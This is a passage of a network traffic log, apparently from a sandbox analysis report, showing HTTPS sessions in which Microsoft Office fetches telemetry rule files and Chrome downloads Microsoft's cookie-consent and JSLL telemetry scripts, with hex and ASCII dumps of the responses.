2024-11-19 23:19:32 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-185f5d8b95ckwnflhC1NYCx9qs00000009k0000000001z0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231932Z-1777c6cb754n67brhC1TEBcp9c00000008xg000000001kab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49879	13.107.246.45	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 23:19:32 UTC	713	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 15238 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 83812644-101e-002a-70b6-3a1fcf000000 x-ms-version: 2009-09-19 x-azure-ref: 20241119T231932Z-185f5d8b95csp6jmhC1NYCwy6s000000097g00000000u2mk Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-19 23:19:32 UTC	712	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-19 23:19:32 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49880	13.107.246.60	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 23:19:32 UTC	889	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241119T231932Z-185f5d8b95ckwnflhC1NYCx9qs00000009g0000000008pfz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:32 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-19 23:19:32 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var 